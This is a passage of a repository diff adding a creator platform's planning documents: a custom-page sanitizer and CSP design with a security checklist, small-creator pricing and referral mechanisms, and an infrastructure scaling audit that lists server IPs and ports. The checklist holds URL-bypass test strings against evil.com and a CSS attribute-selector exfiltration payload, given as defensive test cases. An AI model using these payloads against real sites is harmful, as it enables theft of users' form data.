| 118 | + | **Caps complexity:** rejects stylesheets with > 5000 rules or > 10000 selectors (DoS prevention against quadratic browser selector matching). Both are far above any reasonable user need. | |
| 119 | + | ||
| 120 | + | **Strips comments containing browser-specific hacks?** No — comments are fine. Leave them. | |
| 121 | + | ||
| 122 | + | The visitor produces a normalized, minified output. We store the *user's original* CSS as written (for the editor) and cache the *sanitized output* (for serving). Sanitized output is regenerated on save. | |
| 123 | + | ||
| 124 | + | ### CSP (HTTP header on `u.makenot.work`) | |
| 125 | + | ||
| 126 | + | ``` | |
| 127 | + | Content-Security-Policy: | |
| 128 | + | default-src 'none'; | |
| 129 | + | style-src 'self' 'unsafe-inline'; | |
| 130 | + | img-src 'self' https://cdn.makenot.work; | |
| 131 | + | media-src 'self' https://cdn.makenot.work; | |
| 132 | + | font-src 'self'; | |
| 133 | + | connect-src 'none'; | |
| 134 | + | frame-ancestors 'none'; | |
| 135 | + | form-action 'none'; | |
| 136 | + | base-uri 'none'; | |
| 137 | + | ``` | |
| 138 | + | ||
| 139 | + | `'unsafe-inline'` for styles is required because user CSS is inline in the rendered page. This is acceptable because we've already AST-validated it; CSP is defense in depth. | |
| 140 | + | ||
| 141 | + | `script-src` is omitted entirely (covered by `default-src 'none'`). No script can run, period. | |
| 142 | + | ||
| 143 | + | --- | |
| 144 | + | ||
| 145 | + | ## Built-in primitive library | |
| 146 | + | ||
| 147 | + | To make "more with less" feel generous, ship a small curated set of on-platform assets users can reference. These pass URL validation because they live on MNW. | |
| 148 | + | ||
| 149 | + | - **`/static/fonts/`** — 6–10 curated open fonts (subset of Young Serif, IBM Plex Mono, Lato that we already ship, plus a few display faces). | |
| 150 | + | - **`/static/patterns/`** — 10–15 SVG/CSS background patterns served as static files. | |
| 151 | + | - **`/static/textures/`** — a few subtle JPEG textures. | |
| 152 | + | - **`/static/cursors/`** — fun CSS cursor assets (optional, low priority). | |
| 153 | + | ||
| 154 | + | These are documented in `site-docs/public/guide/custom-pages.md` with copy-pasteable snippets. | |
| 155 | + | ||
| 156 | + | Users can also reference their own uploaded items as media sources — the buy-button still appears (it's a system slot), but the file's stream URL can be used in `<audio src>` or `<video src>` or even as a CSS `background-image` for image items they own. | |
| 157 | + | ||
| 158 | + | --- | |
| 159 | + | ||
| 160 | + | ## Editor UX | |
| 161 | + | ||
| 162 | + | Route: `/settings/custom-page` (for user profile), `/projects/{id}/custom-page`, `/items/{id}/custom-page`. | |
| 163 | + | ||
| 164 | + | Layout: split pane. | |
| 165 | + | ||
| 166 | + | - **Left**: two text areas — HTML and CSS. Plain `<textarea>` with `font-family: var(--font-mono)`. No fancy code editor on day one (no JS dependency, fits the ethos). | |
| 167 | + | - **Right**: live preview rendered in an iframe pointing at `u.makenot.work/preview/{draft_id}`. Preview iframe refreshes on a 1-second debounced save-to-draft (HTMX `hx-trigger="keyup changed delay:1s"`). | |
| 168 | + | - **Below**: a "Blocked references" panel listing every URL the sanitizer stripped, with a one-line explanation per rejection. This is the primary teaching surface. | |
| 169 | + | - **Save** and **Revert** buttons. Save promotes draft to published. | |
| 170 | + | ||
| 171 | + | Drafts: store a `custom_page_drafts` table keyed by `(owner_id, page_kind, page_id)` so users can experiment without affecting the live page. Auto-clean drafts older than 30 days. | |
| 172 | + | ||
| 173 | + | A "Reset to default" link clears both fields. | |
| 174 | + | ||
| 175 | + | --- | |
| 176 | + | ||
| 177 | + | ## Moderation | |
| 178 | + | ||
| 179 | + | - New admin filter: "Has custom page" / "Recently changed custom page" on the user list. | |
| 180 | + | - Report button on any user page is part of platform chrome, can't be hidden by CSS rules (because the chrome lives outside the canvas, and the `.mnw-*` hiding-property filter applies in-canvas as belt-and-suspenders). | |
| 181 | + | - Custom HTML/CSS is included in the report payload so moderators see what was rendered. | |
| 182 | + | - Suspend action: clears `custom_html` and `custom_css` to defaults; original is preserved in an audit log so we can restore on appeal. | |
| 183 | + | - Per-user kill switch: admin can set `custom_pages_locked = true` to prevent the user from editing while a moderation review is open. | |
| 184 | + | ||
| 185 | + | --- | |
| 186 | + | ||
| 187 | + | ## Performance | |
| 188 | + | ||
| 189 | + | - Sanitization happens on save (write-time cost). Render path reads the pre-sanitized output. | |
| 190 | + | - Rendered pages are cached at the edge (Cache-Control: public, max-age=300) keyed by `(owner_id, page_kind, page_id, custom_pages_updated_at)`. Invalidation is implicit via the timestamp in the cache key. | |
| 191 | + | - CSS is served inline in the HTML response, not as a separate file, because each page's CSS is unique. | |
| 192 | + | - HTML response budget: target < 64KB rendered including the 16KB user HTML and 32KB CSS plus chrome. | |
| 193 | + | ||
| 194 | + | --- | |
| 195 | + | ||
| 196 | + | ## Implementation phases | |
| 197 | + | ||
| 198 | + | ### Phase 1 — Foundation (no UI yet) | |
| 199 | + | ||
| 200 | + | 1. **Migration 113**: add `custom_css`, `custom_html`, `custom_pages_updated_at` to `users`, `projects`, `items`. Add `custom_page_drafts` table. Add `custom_pages_locked` to `users`. | |
| 201 | + | 2. **`src/custom_pages/` module**: | |
| 202 | + | - `url_filter.rs` — `resolve_internal_url` + tests. | |
| 203 | + | - `html_sanitizer.rs` — `ammonia` config builder + `sanitize_html(input) -> String`. | |
| 204 | + | - `css_sanitizer.rs` — `lightningcss` visitor + `sanitize_css(input, owner_scope) -> String`. | |
| 205 | + | - `mod.rs` — exposes `sanitize_page(html, css, owner_scope) -> (String, String, Vec<Rejection>)`. | |
| 206 | + | 3. **Unit tests**: comprehensive table-driven tests for each layer. At minimum 50 cases per sanitizer covering allowed and blocked patterns. | |
| 207 | + | 4. **Property tests** (`proptest`): random HTML/CSS in, never panics, output is valid HTML/CSS, output contains no blocked tokens. | |
| 208 | + | ||
| 209 | + | ### Phase 2 — Subdomain + rendering | |
| 210 | + | ||
| 211 | + | 5. **Subdomain routing**: add `u.makenot.work` to the axum router with a host-matching middleware. Strict CSP middleware applied only to that host. | |
| 212 | + | 6. **Render templates**: `templates/custom/user.html`, `project.html`, `item.html`. Each lays out chrome + canvas + system slots. | |
| 213 | + | 7. **Read path handlers**: `GET /{handle}`, `GET /{handle}/{project}`, `GET /{handle}/{project}/{item}` on the `u.` host. Pull sanitized custom fields, inject into template, send. | |
| 214 | + | 8. **Integration tests**: full request/response tests covering happy path, empty custom fields (falls back to default), suspended user (chrome only). | |
| 215 | + | ||
| 216 | + | ### Phase 3 — Editor | |
| 217 | + | ||
| 218 | + | 9. **Editor routes**: `GET/POST /settings/custom-page` (and the project/item variants). Save flow: validate → sanitize → store original + sanitized → bump timestamp. | |
| 219 | + | 10. **Draft system**: `custom_page_drafts` reads/writes. Preview route `GET /preview/{draft_id}` on `u.` host. | |
| 220 | + | 11. **Blocked-references panel**: the sanitizer returns a `Vec<Rejection { kind, location, original_value, reason }>`. Editor renders these as a list under the textareas. | |
| 221 | + | 12. **Docs**: `site-docs/public/guide/custom-pages.md` with quickstart, allowlist reference, primitives catalog, and 5 copy-pasteable examples. | |
| 222 | + | ||
| 223 | + | ### Phase 4 — Polish | |
| 224 | + | ||
| 225 | + | 13. **Primitives**: ship `/static/patterns/`, `/static/textures/`, expanded `/static/fonts/`. | |
| 226 | + | 14. **Moderation tooling**: admin filters, report-payload inclusion, suspend/restore flow. | |
| 227 | + | 15. **Metrics**: count custom pages, count sanitizer rejections per kind, top-rejected hosts (to inform whether to whitelist anything). | |
| 228 | + | ||
| 229 | + | --- | |
| 230 | + | ||
| 231 | + | ## Security review checklist | |
| 232 | + | ||
| 233 | + | Before launch, verify: | |
| 234 | + | ||
| 235 | + | - [ ] No path lets user-controlled HTML or CSS reach the main `makenot.work` domain rendering path. | |
| 236 | + | - [ ] No path lets a user reference an off-platform host. Test with `https://evil.com/x`, `//evil.com/x`, `\\evil.com\x`, `https:evil.com`, `https://makenot.work.evil.com/x`, `https://makenot.work@evil.com/x`, percent-encoded variants. | |
| 237 | + | - [ ] CSS attribute-selector exfiltration is blocked because `url()` can't reach off-platform. Verify with a test that constructs `input[value^="a"] { background: url(//evil/a) }` and confirms the `url()` is dropped. | |
| 238 | + | - [ ] `<style>` and `style=""` are stripped from HTML. | |
| 239 | + | - [ ] Sanitizer is idempotent: `sanitize(sanitize(x)) == sanitize(x)` for fuzzed inputs. | |
| 240 | + | - [ ] Selector scoping cannot be escaped. Try `:root`, `html`, `body`, `*`, combinator tricks, `:not()` games, `@media` wrapping — all must end up scoped to `.user-canvas#uc-{id}`. | |
| 241 | + | - [ ] `.mnw-*` hiding properties are dropped even when the selector reaches `.mnw-*` indirectly (descendant combinators, `:has()`). | |
| 242 | + | - [ ] Subdomain CSP is delivered correctly and forbids script. | |
| 243 | + | - [ ] Session cookies are scoped to the apex and `www`, not to `u.`. Verify via response `Set-Cookie` Domain attribute. | |
| 244 | + | - [ ] No SSRF: the server never fetches a URL from user-supplied content (we only validate strings; we never resolve). | |
| 245 | + | ||
| 246 | + | --- | |
| 247 | + | ||
| 248 | + | ## Resolved design decisions | |
| 249 | + | ||
| 250 | + | 1. **Logged-out visibility**: project and item pages are public by default (storefronts must be reachable). User profile pages are public by default with a per-user `profile_visibility ∈ { public, members_only }` toggle on `users`. Members-only profiles render chrome plus a "sign in or join {creator}" card to logged-out visitors; no custom HTML/CSS is rendered in that case. | |
| 251 | + | 2. **External links**: pure on-platform-only in v1. `<a href>` accepts only MNW URLs and anchor fragments. No interstitial yet. Revisit only if real creators ask within the first 3 months, at which point ship `/out?to=<url>` with `rel="noopener noreferrer nofollow"` and a brief leaving-MNW warning. `mailto:` stays out of the URL allowlist for user-authored HTML; a creator contact email, if set, is rendered as a server-side system slot. | |
| 252 | + | 3. **Animation budget**: cap with two simple rules in the CSS visitor: | |
| 253 | + | - Reject `animation-iteration-count: infinite` when paired with `animation-duration < 2s` in the same rule. Slow infinite animations are fine; fast strobes are not. | |
| 254 | + | - Always inject as the *last* rule of every sanitized stylesheet: `@media (prefers-reduced-motion: reduce) { .user-canvas, .user-canvas * { animation: none !important; transition: none !important; } }`. | |
| 255 | + | No frequency-based heuristics — too brittle. | |
| 256 | + | 4. **Autoplay and looping audio**: explicitly forbidden. Update per-tag attribute allowlist: | |
| 257 | + | - `audio`: `src, controls, preload` (drop `loop`, `muted`, `autoplay`) | |
| 258 | + | - `video`: `src, controls, loop, muted, poster, preload` (drop `autoplay`) | |
| 259 | + | Looping silent background video is allowed; looping audio is not. Browsers block autoplay-with-sound anyway, so making it explicit costs nothing and forecloses the worst MySpace-era abuse pattern (surprise audio). | |
| 260 | + | 5. **Custom favicons / OG images**: out of scope for v1, and the reasoning is structural, not just prioritization. Favicons and OG images are *platform identity* surfaces — they appear in browser tabs, link previews, search results, social shares. Per-page customization would let a malicious creator clone MNW's favicon for phishing pretext, and would let any creator's choices appear under the `makenot.work` brand in third-party renderers. Favicons should stay platform-wide permanently. OG images may later be allowed *only* drawn from items the project already owns (so the asset has passed upload moderation). | |
| 261 | + | ||
| 262 | + | ## Additional decisions folded in | |
| 263 | + | ||
| 264 | + | **Per-page link `rel`**: at sanitization time, every `<a href>` inside the canvas gets `rel="nofollow ugc"` appended. Keeps user-authored anchor text from influencing search ranking of other creators' pages. | |
| 265 | + | ||
| 266 | + | **Version history via the built-in git system**: each customizable page is backed by a tiny bare git repo, reusing the existing `git2` infrastructure that powers `/source/`. | |
| 267 | + | ||
| 268 | + | - Storage layout: one bare repo per owner at `{custom_pages_repo_root}/{owner_id}.git`. Inside the repo, each page is two files: | |
| 269 | + | - `users/{user_id}/page.html` + `users/{user_id}/page.css` | |
| 270 | + | - `projects/{project_id}/page.html` + `projects/{project_id}/page.css` | |
| 271 | + | - `items/{item_id}/page.html` + `items/{item_id}/page.css` | |
| 272 | + | This keeps all of a creator's customizations under one history and lets a creator browse their full page archive in one place. | |
| 273 | + | - Every successful save is a commit on `main` with author = the editing user, message = `update {page_kind}/{page_id}` (or a user-supplied message if we add a "save with note" affordance later). The sanitized output is *not* committed — only the user's source. Sanitization runs on read or on a post-commit hook into a cache table. | |
| 274 | + | - The `custom_css` / `custom_html` columns become a denormalized cache of `HEAD:{path}.css` / `HEAD:{path}.html` for fast read-path queries. `custom_pages_updated_at` is the HEAD commit timestamp. On any save, we (a) write the new blobs and commit, (b) sanitize, (c) update the cache columns and timestamp in the same transaction. Migration 113 still adds the columns as described. | |
| 275 | + | - History UI: reuse the `/source/` browser. A "Page history" link from the editor goes to `/source/custom-pages/{owner_id}/log/users/{user_id}/page.html` (or analogous paths). Diffs, blame, and viewing past versions all work for free. | |
| 276 | + | - Revert: an editor button "Revert to this version" pops up on any past commit and re-saves those blobs as a new commit (no force-push, no rewriting history). Standard "revert as new commit" pattern. | |
| 277 | + | - Pruning: none. These repos stay tiny (a typical creator will have well under 100KB of source even after years of edits). If a single repo ever crosses a sensible threshold (say 10MB), the moderation tool can `git gc --aggressive` it. | |
| 278 | + | - Moderation interaction: when an admin clears a page via suspend, that's a commit too (`admin clear: {reason}`), so the audit log is the git log. Restore on appeal is a revert. | |
| 279 | + | - Drafts: continue to use the `custom_page_drafts` table (not git) — drafts are ephemeral by design, and we don't want every keystroke autosave to land in history. | |
| 280 | + | ||
| 281 | + | This replaces the "small history (last 10 saves)" idea from earlier. Git gives us unlimited history at trivial cost, a viewer we already maintain, and a single mental model for the user ("your pages are versioned the same way the platform source is"). | |
| 282 | + | ||
| 283 | + | ## Open questions (still) | |
| 284 | + | ||
| 285 | + | None blocking. Everything above is decided pending user sign-off on this plan. | |
| 286 | + | ||
| 287 | + | --- | |
| 288 | + | ||
| 289 | + | ## Estimated scope | |
| 290 | + | ||
| 291 | + | Roughly 4–6 focused work sessions: | |
| 292 | + | ||
| 293 | + | - Phase 1: 1–2 sessions (the sanitizer + tests are the meat). | |
| 294 | + | - Phase 2: 1 session. | |
| 295 | + | - Phase 3: 1–2 sessions. | |
| 296 | + | - Phase 4: 1 session. | |
| 297 | + | ||
| 298 | + | Plus a security review pass and a content pass on docs. |
| @@ -0,0 +1,101 @@ | |||
| 1 | + | # Small Creator On-Ramp | |
| 2 | + | ||
| 3 | + | Mechanisms to bring new and small creators onto the platform without lowering sticker prices for established creators. Drafted 2026-05-14. | |
| 4 | + | ||
| 5 | + | ## Problem | |
| 6 | + | ||
| 7 | + | MNW pricing ($10–$60/mo) is fair for creators above an earnings floor — roughly anyone making ≥$10/mo from their work. Below that floor, the platform is a net cost, even though the 0% fee model is structurally the best deal in the market for them once they grow into it. This creates a chicken-and-egg barrier: new creators can't justify paying before they have an audience, and they can't easily build an audience without a platform. | |
| 8 | + | ||
| 9 | + | The pricing itself should not move — see `../../../_meta/docs/` and the pricing-stability commitment. Solve this with on-ramps, not discounts. | |
| 10 | + | ||
| 11 | + | ## Mechanisms (ranked by alignment with brand) | |
| 12 | + | ||
| 13 | + | ### 1. Earnings-funded subscription | |
| 14 | + | ||
| 15 | + | A new creator's first $X/mo of earnings auto-credits toward their subscription before payout. They never pay out-of-pocket while below the earnings floor; they only pay when the platform is demonstrably working for them. Above $X, normal payout resumes. | |
| 16 | + | ||
| 17 | + | **Pitch:** "If MNW isn't making you money, MNW doesn't cost you money." | |
| 18 | + | ||
| 19 | + | **Mechanics:** payout-side adjustment, not a price change. Subscription invoice is paid from earnings balance before any payout to creator's bank. If earnings balance < subscription cost, no payout, no charge, no service interruption. Once earnings balance exceeds subscription, the difference is paid out as normal. | |
| 20 | + | ||
| 21 | + | **Pairs with:** earn-back credit program (committed by 2027-01-01). | |
| 22 | + | ||
| 23 | + | **Open questions:** | |
| 24 | + | - Cap on duration? (e.g. first 12 months, or until cumulative earnings cross $X) | |
| 25 | + | - Available on all tiers or Basic only? | |
| 26 | + | - How does it interact with downgrade/cancel? | |
| 27 | + | - Tax/accounting: are unpaid subscriptions deferred revenue or never-billed? | |
| 28 | + | ||
| 29 | + | ### 2. DIY tier as the explicit on-ramp | |
| 30 | + | ||
| 31 | + | The DIY tier ($12/yr, embed + Stripe Connect only) already lives in `todo.md` under "DIY Tier (Post-Launch, exploratory)." Reposition it publicly as the small-creator entry point: "start with embeds for $1/mo, graduate to Basic when you have content to host." | |
| 32 | + | ||
| 33 | + | **Pitch:** training wheels. Not a parallel product; the explicit junior tier. | |
| 34 | + | ||
| 35 | + | **Mechanics:** already planned. One-click upgrade path preserves Stripe Connect, members, embed code. | |
| 36 | + | ||
| 37 | + | **Pairs with:** mechanism 1 — DIY → Basic upgrade auto-funded from earnings once a creator's revenue crosses the Basic threshold. | |
| 38 | + | ||
| 39 | + | ### 3. Charter creator pricing lock | |
| 40 | + | ||
| 41 | + | First N creators (target ~500–1,000) lock in current pricing forever. Future price changes never touch them. | |
| 42 | + | ||
| 43 | + | **Pitch:** "Join before the charter window closes." Reinforces the price-stability story for everyone. | |
| 44 | + | ||
| 45 | + | **Mechanics:** a flag on the user record; pricing engine respects it. Mostly a marketing/positioning move with light engineering cost. | |
| 46 | + | ||
| 47 | + | **Tradeoff:** one-time lever. Once spent, can't be used again. | |
| 48 | + | ||
| 49 | + | **Open question:** how is N chosen and announced? Hard cap vs. time-bounded (e.g. "first 6 months of public launch")? | |
| 50 | + | ||
| 51 | + | ### 4. Creator-to-creator referrals | |
| 52 | + | ||
| 53 | + | Existing creator refers a new creator; new creator gets 3 months at $0, existing creator gets 1 month of credit. Lets the network do acquisition work and gives established creators a way to invest in newcomers without the platform subsidizing strangers blindly. | |
| 54 | + | ||
| 55 | + | **Pitch:** word-of-mouth growth strategy is already documented (`feedback_growth_strategy.md`); referrals are the structured version. | |
| 56 | + | ||
| 57 | + | **Core design principle:** referral economics must make self-dealing a net loss. The referrer's credit per successful referral must be *strictly less* than the cost the referred account pays in. This way a sock-puppet operator pays more in subscription fees on the fake account than they save on the real one — abuse is unprofitable by construction, not by detection. | |
| 58 | + | ||
| 59 | + | **Mechanics:** | |
| 60 | + | - Each creator dashboard surfaces a unique referral link/code. | |
| 61 | + | - New signup via referral link tags the relationship in the DB (referrer_id on users). | |
| 62 | + | - New creator: pays normal price. Optional small welcome credit (e.g. $2 off first month) — must be small enough that referred+referrer credit combined is still less than one month of subscription. | |
| 63 | + | - Referrer: credit equal to ~30% of the *referred* creator's tier per successful referral, applied to next invoice. A Basic referral ($10) → $3 credit; a Big Files referral ($30) → $9 credit; an Everything referral ($60) → $18 credit. Credit is always bounded by what the referred creator actually pays in, which preserves the anti-abuse invariant at every tier. Cap stacking at e.g. 6 months of credit visible at once. | |
| 64 | + | - "Successful" referral = referred creator's account survives 30 days AND has connected Stripe AND has uploaded one item or made one sale. The activity gate is secondary defense; the economics are primary defense. | |
| 65 | + | - Self-dealing math (worked example, Basic at $10/mo): operator pays $10 on the fake account, gets $3 credit (30% of referred's tier) on the real one + $2 welcome on the fake one = $5 back. Net loss $5/mo. Not viable for any duration. Math holds at every tier because credit is always a fraction of the referred creator's subscription, not the referrer's. | |
| 66 | + | ||
| 67 | + | **Why economics-first beats detection-first:** | |
| 68 | + | - Detection (IP match, Stripe identity match, payout bank match) catches the lazy abusers but fails against anyone willing to use a VPN, a friend's identity, or a separate bank account. The economic gate catches everyone — even a perfectly-disguised sock puppet loses money. | |
| 69 | + | - Detection generates false positives (legitimate creators sharing households, partners, small studios). Economics has no false positives. | |
| 70 | + | - We still keep the activity gate as a secondary check, mostly to filter out abandoned signups inflating referrer credit balances. | |
| 71 | + | ||
| 72 | + | **Tuning knob:** the ratio of referrer credit to subscription cost is the single dial. Lower ratio = stronger anti-abuse, weaker acquisition incentive. Higher ratio = better acquisition, weaker anti-abuse. 30% feels right at Basic; revisit if real referrals are sluggish. | |
| 73 | + | ||
| 74 | + | **Remaining abuse vectors (small):** | |
| 75 | + | - Public referral code dumps to Reddit/etc.: not an abuse, just free acquisition. Acceptable. | |
| 76 | + | - Referrer abandons platform after collecting credit: credit is non-cashable (applies only to future invoices), so a churned referrer's credit evaporates with them. No payout liability. | |
| 77 | + | - Multi-account chain (A→B→A's other account): same economic floor still applies; each hop has to actually pay subscription to generate credit. | |
| 78 | + | ||
| 79 | + | **Open questions:** | |
| 80 | + | - Does referral credit stack with earnings-funded subscription (mechanism 1)? | |
| 81 | + | - Do existing creators get a one-time backfill of credit for past word-of-mouth referrals we can attribute? | |
| 82 | + | - Display referral count publicly on profile (social proof) or keep private? | |
| 83 | + | ||
| 84 | + | ## Recommended Sequencing | |
| 85 | + | ||
| 86 | + | 1. **Ship DIY (mechanism 2) first.** Already planned. Becomes the public answer to "I'm too small for Basic." | |
| 87 | + | 2. **Add referrals (mechanism 4) at or near public launch.** Low engineering cost, high marketing leverage, fits the word-of-mouth growth thesis. The abuse-design work is the real cost. | |
| 88 | + | 3. **Charter pricing (mechanism 3) coincident with public launch.** Costs almost nothing; great launch-window energy. Don't ship without an explicit close date or count cap. | |
| 89 | + | 4. **Earnings-funded subscription (mechanism 1) after DIY proves out.** Most complex; benefits most from real usage data on what the earnings floor actually looks like in practice. Pair with the earn-back credit program rollout. | |
| 90 | + | ||
| 91 | + | ## What Not to Do | |
| 92 | + | ||
| 93 | + | - **Generic "first month free" trial.** Attracts low-intent signups, inflates support load, doesn't address the floor problem — just delays it by 30 days. | |
| 94 | + | - **Lower sticker prices.** Breaks the price-stability promise; cannot be undone; leaves money on the table needed for the actual cost (support labor). | |
| 95 | + | - **Permanent discount codes.** Discount codes are forever; better to ship the structural mechanism (earnings-funded sub) than to leak a one-off coupon that lives on Reddit for a decade. | |
| 96 | + | ||
| 97 | + | ## Related | |
| 98 | + | ||
| 99 | + | - `../todo.md` § DIY Tier — mechanism 2 detailed task list | |
| 100 | + | - `../../_meta/docs/operations.md` — cycle/release rules | |
| 101 | + | - Memory: `feedback_growth_strategy.md`, `project_launch_priorities.md`, `feedback_membership_terminology.md` |
| @@ -0,0 +1,116 @@ | |||
| 1 | + | # Infrastructure Scaling Audit | |
| 2 | + | ||
| 3 | + | Capacity assessment of the production stack and the upgrade path from current state through 100k creators. Companion to `architecture.md` (what exists) and `deploy.md` (how it ships). | |
| 4 | + | ||
| 5 | + | ## Current Topology | |
| 6 | + | ||
| 7 | + | **Single production VM** — Hetzner `CCX13 x86` in US-West (`alpha-west-1`, 5.78.144.244 / 100.120.174.96). Runs MNW (:3000), Multithreaded (:3400), PostgreSQL (:5432, both DBs), PoM (:9100), Caddy (:80/:443), Git SSH (:22). Tailscale-only admin SSH on :2200; public :22 is mnw-cli only. | |
| 8 | + | ||
| 9 | + | CCX13 = 2 dedicated vCPU / 8 GB RAM / 80 GB NVMe + 10 GB volume, ~20 TB included monthly egress. | |
| 10 | + | ||
| 11 | + | **Edge** — Cloudflare proxy ON for `makenot.work`, `*.makenot.work`, `maxj.phd`, `*.maxj.phd`, `htpy.app`. Full (Strict) SSL via Origin CA wildcards. Authenticated Origin Pulls (mTLS) — origin only accepts the Cloudflare client cert. `cdn.makenot.work` reverse-proxies to Hetzner Object Storage (`fsn1`), with Cloudflare caching at the edge. Custom-domain fans use Caddy on-demand TLS (LE HTTP-01) and bypass Cloudflare. | |
| 12 | + | ||
| 13 | + | **Object storage** — Hetzner S3 (`fsn1` Frankfurt), presigned PUT/GET. Separate buckets for content and SyncKit blobs. | |
| 14 | + | ||
| 15 | + | **Tailscale mesh** carries deploy, CI (astra → alpha), PoM peer health, build offload. Tailscale is **not** in the fan request path — fans go Browser → Cloudflare → public origin. | |
| 16 | + | ||
| 17 | + | ## Capacity Stages | |
| 18 | + | ||
| 19 | + | | Stage | First bottleneck | Cheapest fix | | |
| 20 | + | |---|---|---| | |
| 21 | + | | ~100 creators | Nothing. CCX13 idles. Postgres fits in RAM. CF absorbs read spikes. | Stay put. Verify backups restore. | | |
| 22 | + | | ~1,000 creators | (1) Postgres connection pool / query latency on HTMX dashboards. (2) S3 egress on downloads that bypass CF cache. (3) Caddy on-demand TLS issuance bursts on custom domains. | Resize to CCX23 (4 vCPU / 16 GB). Bump `DB_POOL_MAX_CONNECTIONS`. Ensure long `Cache-Control: immutable` on S3 objects. Consider CF Cache Reserve for cold content. | | |
| 23 | + | | ~10,000 creators | (1) Single-VM SPOF. (2) Postgres write throughput (sessions, scheduler, MT, audit). (3) Hetzner 20 TB egress cap if downloads bypass CF. (4) pg_dump duration on a busy DB. | Split MNW, MT, and Postgres onto separate boxes (all on tailnet). PG to CX42/CCX33 with WAL streaming to astra (already in place). Force all downloads through `cdn.makenot.work`. Read replica for discover/feed. | | |
| 24 | + | | ~100,000 creators | App horizontal scaling: sessions PG-backed (OK), rate limiter in-process (not OK). Search/discover. S3 storage cost itself (PB scale). | Multi-app behind LB (Hetzner LB or CF Load Balancing). Distributed rate limit. Lifecycle policies to migrate cold content to cheaper tier or Backblaze B2 (Bandwidth Alliance). PG → HA primary + replica + PgBouncer. | | |
| 25 | + | ||
| 26 | + | ## Risk Items to Address Before They Bite | |
| 27 | + | ||
| 28 | + | 1. **CDN coverage of paid downloads.** Presigned S3 URLs from `routes/storage/...` — verify clients fetch via `cdn.makenot.work` rather than directly from `fsn1.your-objectstorage.com`. Direct fetches skip CF caching and put egress on Hetzner. Largest hidden cost lever at scale. | |
| 29 | + | 2. **Cache-Control on S3 objects.** CF only caches what the origin marks cacheable. Confirm uploads set `Cache-Control: public, max-age=31536000, immutable` (content-addressed keys make this safe). | |
| 30 | + | 3. **Postgres connection budget.** MNW pool = 25; MT has its own pool; both share the same Postgres instance. PoM should alert on `pg_stat_activity` saturation. | |
| 31 | + | 4. **Caddy on-demand TLS ask endpoint.** `/api/domains/caddy-ask` becomes an issuance-abuse target at scale. Confirm rate limits and cap concurrent ACME issuance. | |
| 32 | + | 5. **Direct origin exposure.** AOP mTLS protects HTTPS, but `ssh.makenot.work` (CF proxy OFF) is direct. fail2ban is in place; harden further (CF Spectrum or stricter rate limit) when public git traffic grows. | |
| 33 | + | 6. **Offsite backups.** Daily pg_dump local + astra WAL replication. Both regions could share a fate. Document or add a third-location offsite (B2 / S3-compat) before crossing ~1k creators. | |
| 34 | + | 7. **Single region.** Hetzner US-West app + Frankfurt S3 = transatlantic per cache miss. EU creator uploads cross the Atlantic twice. Not urgent; budget for it at 10k+. | |
| 35 | + | 8. **Tailscale dependency for ops.** Admin SSH (:2200) is tailnet-only. If Tailscale control plane is down, break-glass path is public :22 → mnw-cli only. Confirm break-glass procedure is documented; cross-reference `feedback_tailscale_ssh.md` rule. | |
| 36 | + | ||
| 37 | + | ## Recommended Upgrade Path | |
| 38 | + | ||
| 39 | + | - **Now → 1k creators:** CCX13 stays. Confirm CDN/cache hygiene (items 1 & 2). Add CF cache hit ratio to weekly review. | |
| 40 | + | - **1k:** Resize in place to CCX23 (one reboot, ~5 min). Bump pool sizing. Tune Postgres `shared_buffers` / `effective_cache_size` for 16 GB. | |
| 41 | + | - **3–5k:** Split DB onto its own box. Add PgBouncer. Move MT to its own VM if forum traffic justifies. | |
| 42 | + | - **10k+:** App tier behind a load balancer. Distributed rate limit. PG read replica for discover/feeds/RSS. | |
| 43 | + | ||
| 44 | + | ## Economic Analysis | |
| 45 | + | ||
| 46 | + | All prices are list rates as of 2026-05; verify before budgeting. EUR/USD assumed ~1.08. Tier mix assumed roughly: 50% Basic ($10), 25% Small Files ($20), 20% Big Files ($30), 5% Everything ($60) → blended ARPU ~$19/mo. Tier storage caps (50/250/500/500 GB) are headroom, not actual usage; assume actual fill ~20% of cap at any given time. | |
| 47 | + | ||
| 48 | + | ### Compute (Hetzner) | |
| 49 | + | ||
| 50 | + | | VM | Price/mo | Specs | | |
| 51 | + | |---|---|---| | |
| 52 | + | | CCX13 (current) | ~$15 | 2 dedicated vCPU / 8 GB / 80 GB NVMe + 10 GB | | |
| 53 | + | | CCX23 | ~$30 | 4 vCPU / 16 GB / 160 GB | | |
| 54 | + | | CCX33 | ~$60 | 8 vCPU / 32 GB / 240 GB | | |
| 55 | + | | CCX43 | ~$120 | 16 vCPU / 64 GB / 360 GB | | |
| 56 | + | ||
| 57 | + | Egress: 20 TB/mo included on each VM, $1.20/TB beyond (Hetzner). Object storage egress to Cloudflare counts against this; CF cache hits do not. | |
| 58 | + | ||
| 59 | + | ### Object storage (Hetzner) | |
| 60 | + | ||
| 61 | + | - Storage: €5.99/mo per TB after 1 TB included with first bucket | |
| 62 | + | - Egress: included up to 1 TB/mo per bucket, then €1/TB | |
| 63 | + | - Per-request cost: included | |
| 64 | + | - Rough USD: ~$6.50/TB-month, ~$1.10/TB egress beyond included | |
| 65 | + | ||
| 66 | + | ### Cloudflare | |
| 67 | + | ||
| 68 | + | - Free plan covers proxy, basic DDoS, basic caching. Sufficient through ~10k creators if cache hit ratio stays high. | |
| 69 | + | - Pro ($25/mo): WAF, image optimization. Optional. | |
| 70 | + | - Cache Reserve: $0.015/GB-month stored, $0.36/M reads. Useful once cold-content miss rate matters. | |
| 71 | + | - Bandwidth from CF edge to end users: **free** (this is the headline economic lever). | |
| 72 | + | - Workers/transform/load balancing: not needed before 10k+. | |
| 73 | + | ||
| 74 | + | ### Postmark | |
| 75 | + | ||
| 76 | + | - $15/mo for 10k emails; $1.25/k after on shared plan; volume pricing kicks in beyond 50k/mo. | |
| 77 | + | - At 1k creators with weekly digest + transactional: estimate 30–60k/mo → $50–80/mo. | |
| 78 | + | - At 10k creators: 300–600k/mo → $400–800/mo. Largest non-Stripe variable cost. | |
| 79 | + | ||
| 80 | + | ### Stripe | |
| 81 | + | ||
| 82 | + | - Pass-through to creators (~3% + $0.30 processing). Platform takes 0% of GMV. | |
| 83 | + | - Stripe Connect: no fixed platform fee; per-payout fees minimal for Standard accounts. | |
| 84 | + | - Tax (Stripe Tax): optional, 0.5% of transaction. Not currently enabled. | |
| 85 | + | ||
| 86 | + | ### Cost Projections by Stage | |
| 87 | + | ||
| 88 | + | Numbers are monthly recurring infrastructure cost (not including domain, banking, accounting, contractor labor). Revenue assumes blended ARPU $19/mo per paying creator. | |
| 89 | + | ||
